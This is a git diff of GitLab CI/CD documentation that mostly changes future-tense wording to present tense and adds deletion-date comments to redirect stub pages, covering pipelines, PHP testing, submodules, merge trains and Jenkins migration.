@@ To enable or disable GitLab CI/CD Pipelines in your project: 1. Expand the **Repository** section 1. Enable or disable the **Pipelines** toggle as required. -**Project visibility** will also affect pipeline visibility. If set to: +**Project visibility** also affects pipeline visibility. If set to: - **Private**: Only project members can access pipelines. - **Internal** or **Public**: Pipelines can be set to either **Only Project Members** @@ -57,9 +57,9 @@ for source installations, and `gitlab.rb` for Omnibus installations. Two things to note: -- Disabling GitLab CI/CD, will affect only newly-created projects. Projects that - had it enabled prior to this modification, will work as before. -- Even if you disable GitLab CI/CD, users will still be able to enable it in the +- Disabling GitLab CI/CD affects only newly-created projects. Projects that + had it enabled prior to this modification work as before. +- Even if you disable GitLab CI/CD, users can still enable it in the project's settings. For installations from source, open `gitlab.yml` with your editor and set diff --git a/doc/ci/environments.md b/doc/ci/environments.md index b1dc9af6b5b..2ce0618c8e7 100644 --- a/doc/ci/environments.md +++ b/doc/ci/environments.md @@ -3,3 +3,6 @@ redirect_to: 'environments/index.md' --- This document was moved to [another location](environments/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/browser_performance.md b/doc/ci/examples/browser_performance.md index 4a73fe2e62c..131a539499d 100644 --- a/doc/ci/examples/browser_performance.md +++ b/doc/ci/examples/browser_performance.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/browser_performance_testing.md#c --- This document was moved to [another location](../../user/project/merge_requests/browser_performance_testing.md#configuring-browser-performance-testing). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_climate.md b/doc/ci/examples/code_climate.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/ci/examples/code_climate.md +++ b/doc/ci/examples/code_climate.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md index 88bcead7beb..808ad6d8fef 100644 --- a/doc/ci/examples/code_quality.md +++ b/doc/ci/examples/code_quality.md @@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/code_quality.md#example-configur --- This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/container_scanning.md +++ b/doc/ci/examples/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md index 9591abfc276..97c5cafae95 100644 --- a/doc/ci/examples/dast.md +++ b/doc/ci/examples/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dast/index.md' --- This document was moved to [another location](../../user/application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md index dc234a3489f..dc4b7bd764a 100644 --- a/doc/ci/examples/dependency_scanning.md +++ b/doc/ci/examples/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../user/application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md index df9af4db929..46be93c9676 100644 --- a/doc/ci/examples/license_management.md +++ b/doc/ci/examples/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../user/compliance/license_compliance/index.md' --- This document was moved to [another location](../../user/compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 699d04f632c..85f0424554a 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -15,17 +15,17 @@ using the Shell executor. ## Test PHP projects using the Docker executor While it is possible to test PHP apps on any system, this would require manual -configuration from the developer. To overcome this we will be using the +configuration from the developer. To overcome this we use the official [PHP Docker image](https://hub.docker.com/_/php) that can be found in Docker Hub. -This will allow us to test PHP projects against different versions of PHP. +This allows us to test PHP projects against different versions of PHP. However, not everything is plug 'n' play, you still need to configure some things manually. As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. -Let's first specify the PHP image that will be used for the job process +Let's first specify the PHP image that is used for the job process (you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). @@ -106,7 +106,7 @@ test:app: ### Test against different PHP versions in Docker builds Testing against multiple versions of PHP is super easy. Just add another job -with a different Docker image version and the runner will do the rest: +with a different Docker image version and the runner does the rest: ```yaml before_script: @@ -128,7 +128,7 @@ test:7.0: ### Custom PHP configuration in Docker builds -There are times where you will need to customise your PHP environment by +There are times where you need to customise your PHP environment by putting your `.ini` file into `/usr/local/etc/php/conf.d/`. For that purpose add a `before_script` action: @@ -168,7 +168,7 @@ The [phpenv](https://github.com/phpenv/phpenv) project allows you to easily mana each with its own configuration. This is especially useful when testing PHP projects with the Shell executor. -You will have to install it on your build machine under the `gitlab-runner` +You have to install it on your build machine under the `gitlab-runner` user following [the upstream installation guide](https://github.com/phpenv/phpenv#installation). Using phpenv also allows to easily configure the PHP environment with: @@ -181,7 +181,7 @@ phpenv config-add my_config.ini [is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also - seems like a good alternative. Picking any of the mentioned tools will work + seems like a good alternative. Picking any of the mentioned tools works with the basic phpenv commands. Guiding you to choose the right phpenv is out of the scope of this tutorial.* @@ -274,4 +274,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md index 7c644ac833d..ebb3c1f66c1 100644 --- a/doc/ci/examples/sast.md +++ b/doc/ci/examples/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/sast/index.md' --- This document was moved to [another location](../../user/application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/sast_docker.md +++ b/doc/ci/examples/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index c28febd15d7..48434c02dfd 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -21,7 +21,7 @@ type: reference ## Configuring the `.gitmodules` file -If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project will probably have a file +If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project probably has a file named `.gitmodules`. Let's consider the following example: @@ -44,11 +44,11 @@ for all your local checkouts. The `.gitmodules` would look like: url = ../../group/project.git ``` -The above configuration will instruct Git to automatically deduce the URL that -should be used when cloning sources. Whether you use HTTP(S) or SSH, Git will use -that same channel and it will allow to make all your CI jobs use HTTP(S) -(because GitLab CI/CD only uses HTTP(S) for cloning your sources), and all your local -clones will continue using SSH. +The above configuration instructs Git to automatically deduce the URL that +should be used when cloning sources. Whether you use HTTP(S) or SSH, Git uses +that same channel and it makes all your CI jobs use HTTP(S). +GitLab CI/CD only uses HTTP(S) for cloning your sources, and all your local +clones continue using SSH. For all other submodules not located on the same GitLab server, use the full HTTP(S) protocol URL: @@ -94,7 +94,7 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git sets the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current remote URL. On subsequent jobs on the same runner, `.git/config` is cached diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index a131d21039d..96cd7b9301d 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -44,26 +44,26 @@ Not all executors are NOTE: **Note:** The `docker` executor does not keep running -after the build script is finished. At that point, the terminal will automatically -disconnect and will not wait for the user to finish. Please follow [this +after the build script is finished. At that point, the terminal automatically +disconnects and does not wait for the user to finish. Please follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. Sometimes, when a job is running, things don't go as you would expect, and it would be helpful if one can have a shell to aid debugging. When a job is -running, on the right panel you can see a button `debug` that will open the terminal +running, on the right panel you can see a button `debug` that opens the terminal for the current job.  -When clicked, a new tab will open to the terminal page where you can access +When clicked, a new tab opens to the terminal page where you can access the terminal and type commands like a normal shell.  If you have the terminal open and the job has finished with its tasks, the -terminal will block the job from finishing for the duration configured in +terminal blocks the job from finishing for the duration configured in [`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you close the terminal window. diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index b24ee66fdba..4a296ddcd1c 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -8,7 +8,7 @@ type: concepts # Introduction to CI/CD with GitLab -In this document, we'll present an overview of the concepts of Continuous Integration, +This document presents an overview of the concepts of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD. @@ -100,18 +100,18 @@ located in the root path of your repository. In this file, you can define the scripts you want to run, define include and cache dependencies, choose commands you want to run in sequence and those you want to run in parallel, define where you want to -deploy your app, and specify whether you will want to run the scripts automatically +deploy your app, and specify whether you want to run the scripts automatically or trigger any of them manually. After you're familiar with GitLab CI/CD you can add more advanced steps into the configuration file. -To add scripts to that file, you'll need to organize them in a +To add scripts to that file, you need to organize them in a sequence that suits your application and are in accordance with the tests you wish to perform. To visualize the process, imagine that all the scripts you add to the configuration file are the same as the commands you run on a terminal on your computer. After you've added your `.gitlab-ci.yml` configuration file to your -repository, GitLab will detect it and run your scripts with the +repository, GitLab detects it and run your scripts with the tool called [GitLab Runner](https://docs.gitlab.com/runner/), which works similarly to your terminal. @@ -191,7 +191,7 @@ lifecycle, as shown in the illustration below.  If you look at the image from the left to the right, -you'll see some of the features available in GitLab +you can see some of the features available in GitLab according to each stage (Verify, Package, Release). 1. **Verify**: diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md index 34600dd6540..3f720ef959e 100644 --- a/doc/ci/jenkins/index.md +++ b/doc/ci/jenkins/index.md @@ -3,3 +3,6 @@ redirect_to: '../migration/jenkins.md' --- This document was moved to [another location](../migration/jenkins.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 449f9bf5fcd..2ae17df0933 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -3,3 +3,6 @@ redirect_to: 'unit_test_reports.md' --- This document was moved to [unit_test_reports](unit_test_reports.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index f25ef7c725a..dba0fedca7d 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -32,7 +32,7 @@ GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git- by default. Ideally, you should always use `GIT_DEPTH` with a small number -like 10. This will instruct GitLab Runner to perform shallow clones. +like 10. This instructs GitLab Runner to perform shallow clones. Shallow clones make Git request only the latest set of changes for a given branch, up to desired number of commits as defined by the `GIT_DEPTH` variable. @@ -152,7 +152,7 @@ concurrent = 4 This `config.toml`: - Uses the `shell` executor, -- Specifies a custom `/builds` directory where all clones will be stored. +- Specifies a custom `/builds` directory where all clones are stored. - Enables the ability to specify `GIT_CLONE_PATH`, - Runs at most 4 jobs at once. @@ -177,7 +177,7 @@ concurrent = 4 This `config.toml`: - Uses the `docker` executor, -- Specifies a custom `/builds` directory on disk where all clones will be stored. +- Specifies a custom `/builds` directory on disk where all clones are stored. We host mount the `/builds` directory to make it reusable between subsequent runs and be allowed to override the cloning strategy. - Doesn't enable the ability to specify `GIT_CLONE_PATH` as it is enabled by default. @@ -187,7 +187,7 @@ This `config.toml`: Once we have the executor configured, we need to fine tune our `.gitlab-ci.yml`. -Our pipeline will be most performant if we use the following `.gitlab-ci.yml`: +Our pipeline is most performant if we use the following `.gitlab-ci.yml`: ```yaml variables: @@ -205,8 +205,8 @@ The above configures a: because we use the same clone path for all forks. Why use `$CI_CONCURRENT_ID`? The main reason is to ensure that worktrees used are not conflicting -between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor, -so as long as we use it to construct the path, it is guaranteed that this directory will not conflict +between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor. +When we use it to construct the path, this directory does not conflict with other concurrent jobs running. ### Store custom clone options in `config.toml` @@ -220,7 +220,7 @@ In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agn a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: +with the following specification that is used by the runner if `.gitlab-ci.yml` does not override it: ```toml concurrent = 4 diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index ac9cda4e46c..1e405bfd9ec 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -57,7 +57,7 @@ When you use this method, you have to specify `only: - merge_requests` for each example, the pipeline contains a `test` job that is configured to run on merge requests. The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, -so they will not run on merge requests. +so they don't run on merge requests. ```yaml build: @@ -82,7 +82,7 @@ deploy: #### Excluding certain jobs The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with -that keyword are run in the context of a merge request; no other jobs will be run. +that keyword are run in the context of a merge request; no other jobs run. However, you can invert this behavior and have all of your jobs run _except_ for one or two. @@ -120,8 +120,8 @@ C: Therefore: -- Since `A` and `B` are getting the `only:` rule to execute in all cases, they will always run. -- Since `C` specifies that it should only run for merge requests, it will not run for any pipeline +- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run. +- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline except a merge request pipeline. This helps you avoid having to add the `only:` rule to all of your jobs to make @@ -209,7 +209,7 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. If you are experiencing duplicated pipelines when using `rules`, take a look at the [important differences between `rules` and `only`/`except`](../yaml/README.md#prevent-duplicate-pipelines), -which will help you get your starting configuration correct. +which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 9c6fbba1337..28d205ad8b1 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -19,8 +19,8 @@ the source branch have already been merged into the target branch. If the pipeline fails due to a problem in the target branch, you can wait until the target is fixed and re-run the pipeline. -This new pipeline will run as if the source is merged with the updated target, and you -will not need to rebase. +This new pipeline runs as if the source is merged with the updated target, and you +don't need to rebase. The pipeline does not automatically run when the target branch changes. Only changes to the source branch trigger a new pipeline. If a long time has passed since the last successful @@ -33,7 +33,7 @@ When the merge request can't be merged, the pipeline runs against the source bra - The merge request is a [**Draft** merge request](../../../user/project/merge_requests/work_in_progress_merge_requests.md). In these cases, the pipeline runs as a [pipeline for merge requests](../index.md) -and is labeled as `detached`. If these cases no longer exist, new pipelines will +and is labeled as `detached`. If these cases no longer exist, new pipelines again run against the merged results. Any user who has developer [permissions](../../../user/permissions.md) can run a @@ -71,7 +71,7 @@ GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-m a **Start/Add Merge Train button**. Generally, this is a safer option than merging merge requests immediately, because your -merge request will be evaluated with an expected post-merge result before the actual +merge request is evaluated with an expected post-merge result before the actual merge happens. For more information, read the [documentation on Merge Trains](merge_trains/index.md). @@ -84,10 +84,10 @@ GitLab CI/CD can detect the presence of redundant pipelines, and cancels them to conserve CI resources. When a user merges a merge request immediately within an ongoing merge -train, the train will be reconstructed, as it will recreate the expected +train, the train is reconstructed, because it recreates the expected post-merge commit and pipeline. In this case, the merge train may already have pipelines running against the previous expected post-merge commit. -These pipelines are considered redundant and will be automatically +These pipelines are considered redundant and are automatically canceled. ## Troubleshooting diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d4099cdeafd..a7d111f7ee6 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -39,7 +39,7 @@ To add a merge request to a merge train, you need [permissions](../../../../user Each merge train can run a maximum of **twenty** pipelines in parallel. If more than twenty merge requests are added to the merge train, the merge requests -will be queued until a slot in the merge train is free. There is no limit to the +are queued until a slot in the merge train is free. There is no limit to the number of merge requests that can be queued. ## Merge train example @@ -55,7 +55,7 @@ If the pipeline for `B` fails, it is removed from the train. The pipeline for `C` restarts with the `A` and `C` changes, but without the `B` changes. If `A` then completes successfully, it merges into the target branch, and `C` continues -to run. If more merge requests are added to the train, they will now include the `A` +to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. @@ -152,7 +152,7 @@ is recreated and all pipelines restart. ### Merge request dropped from the merge train immediately If a merge request is not mergeable (for example, it's a draft merge request, there is a merge -conflict, etc.), your merge request will be dropped from the merge train automatically. +conflict, etc.), your merge request is dropped from the merge train automatically. In these cases, the reason for dropping the merge request is in the **system notes**. @@ -179,7 +179,7 @@ for more information. A Merge Train pipeline cannot be retried because the merge request is dropped from the merge train upon failure. For this reason, the retry button does not appear next to the pipeline icon. -In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which will then initiate a new pipeline. +In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which then initiates a new pipeline. ### Unable to add to merge train with message "The pipeline for this merge request failed." @@ -195,9 +195,10 @@ you can clear the **Pipelines must succeed** check box and keep **Enable merge trains and pipelines for merged results** (merge trains) enabled. If you want to keep the **Pipelines must succeed** option enabled along with Merge -Trains, you can create a new pipeline for merged results when this error occurs by -going to the **Pipelines** tab and clicking **Run pipeline**. Then click -**Start/Add to merge train when pipeline succeeds**. +Trains, create a new pipeline for merged results when this error occurs: + +1. Go to the **Pipelines** tab and click **Run pipeline**. +1. Click **Start/Add to merge train when pipeline succeeds**. See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) for more information. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index dbc0397bb0b..d66ab2b297a 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -11,7 +11,7 @@ type: reference GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. -You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. +You can configure your job to use custom Metrics Reports, and GitLab displays a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.  diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 13190c15cca..5bb8e76831a 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -200,7 +200,7 @@ deploy_prod: ### Filter job by branch -[Rules](../yaml/README.md#rules) are a mechanism to determine if the job will or will not run for a specific branch. +[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch. CircleCI example of a job filtered by branch: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index afec94ca91c..19df310d1a2 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -33,7 +33,7 @@ For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline or how to use Auto DevOps to test your code automatically, watch the [Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) video. -Otherwise, read on for important information that will help you get the ball rolling. Welcome +Otherwise, read on for important information that helps you get the ball rolling. Welcome to GitLab! If you have questions that are not answered here, the [GitLab community forum](https://forum.gitlab.com/) @@ -46,22 +46,22 @@ changes that comes with the move, and successfully managing them. There are a fe things we have found that helps this: - Setting and communicating a clear vision of what your migration goals are helps - your users understand why the effort is worth it. The value will be clear when + your users understand why the effort is worth it. The value is clear when the work is done, but people need to be aware while it's in progress too. - Sponsorship and alignment from the relevant leadership team helps with the point above. - Spending time educating your users on what's different, sharing this document with them, - and so on will help ensure you are successful. + and so on helps ensure you are successful. - Finding ways to sequence or delay parts of the migration can help a lot, but you don't want to leave things in a non-migrated (or partially-migrated) state for too long. To gain all the benefits of GitLab, moving your existing Jenkins setup over - as-is, including any current problems, will not be enough. You need to take advantage + as-is, including any current problems, isn't enough. You need to take advantage of the improvements that GitLab offers, and this requires (eventually) updating your implementation as part of the transition. ## JenkinsFile Wrapper -We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which will allow -you to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process +We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which +you can use to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process of transition, by letting you delay the migration of less urgent pipelines for a period of time. If you are interested in helping GitLab test the wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback. @@ -103,8 +103,8 @@ There are some high level differences between the products worth mentioning: - One important difference is that jobs run independently of each other and have a fresh environment in each job. Passing artifacts between jobs is controlled using the [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies) - keywords. When finished, the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) - feature will allow you to more easily persist a common workspace between serial jobs. + keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) + feature to more easily persist a common workspace between serial jobs. - The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. @@ -114,7 +114,7 @@ There are some high level differences between the products worth mentioning: - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment itself and publish that to the container registry. Then, have your pipelines use this instead of each building their - own environment, which will be slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). + own environment, which is slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). - A central utilities repository can be a great place to put assorted scheduled jobs or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. @@ -129,12 +129,12 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). - They will self-select jobs from the scopes you've defined automatically. + They self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that require dedicated, more powerful, or specific hardware. -- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html) - which will let you configure them to be provisioned as needed, and scaled down when not. +- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html). + Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners) @@ -227,15 +227,15 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md) +The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage -of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get -up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs +of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). +We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which -case it will apply to all jobs in the pipeline: +case it applies to all jobs in the pipeline: ```yaml my_job: @@ -246,7 +246,7 @@ my_job: The `post` section defines the actions that should be performed at the end of the pipeline. GitLab also supports this through the use of stages. You can define your stages as follows, and any jobs assigned to the `before_pipeline` -or `after_pipeline` stages will run as expected. You can call these stages anything you like: +or `after_pipeline` stages run as expected. You can call these stages anything you like: ```yaml stages: diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md index af10e5b6126..66efa0a7c35 100644 --- a/doc/ci/multi_project_pipeline_graphs.md +++ b/doc/ci/multi_project_pipeline_graphs.md @@ -3,3 +3,6 @@ redirect_to: 'multi_project_pipelines.md' --- This document was moved to [another location](multi_project_pipelines.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 5837bf6cf6b..c06eea20f6c 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -46,7 +46,7 @@ When you configure GitLab CI/CD for your project, you can visualize the stages o  In the Merge Request Widget, multi-project pipeline mini-graphs are displayed, -and when hovering or tapping (on touchscreen devices) they will expand and be shown adjacent to each other. +and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.  @@ -97,16 +97,16 @@ staging: trigger: my/deployment ``` -In the example above, as soon as `rspec` job succeeds in the `test` stage, -the `staging` bridge job is going to be started. The initial status of this -job will be `pending`. GitLab will create a downstream pipeline in the -`my/deployment` project and, as soon as the pipeline gets created, the -`staging` job will succeed. `my/deployment` is a full path to that project. +In the example above, as soon as the `rspec` job succeeds in the `test` stage, +the `staging` bridge job is started. The initial status of this +job is `pending`. GitLab then creates a downstream pipeline in the +`my/deployment` project and, as soon as the pipeline is created, the +`staging` job succeeds. `my/deployment` is a full path to that project. The user that created the upstream pipeline needs to have access rights to the -downstream project (`my/deployment` in this case). If a downstream project can -not be found, or a user does not have access rights to create pipeline there, -the `staging` job is going to be marked as _failed_. +downstream project (`my/deployment` in this case). If a downstream project is +not found, or a user does not have access rights to create a pipeline there, +the `staging` job is marked as _failed_. When using: @@ -117,21 +117,18 @@ When using: - [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the `pipelines` keyword. -CAUTION: **Caution:** -In the example, `staging` will be marked as succeeded as soon as a downstream pipeline +In the example, `staging` is marked as successful as soon as a downstream pipeline gets created. If you want to display the downstream pipeline's status instead, see [Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline). NOTE: **Note:** -Bridge jobs do not support every configuration entry that a user can use -in the case of regular jobs. Bridge jobs will not be picked by a runner, -so there is no point in adding support for `script`, for example. If a user -tries to use unsupported configuration syntax, YAML validation will fail upon -pipeline creation. +Bridge jobs [do not support every configuration keyword](#limitations) that can be used +with other jobs. If a user tries to use unsupported configuration keywords, YAML +validation fails on pipeline creation. ### Specifying a downstream pipeline branch -It is possible 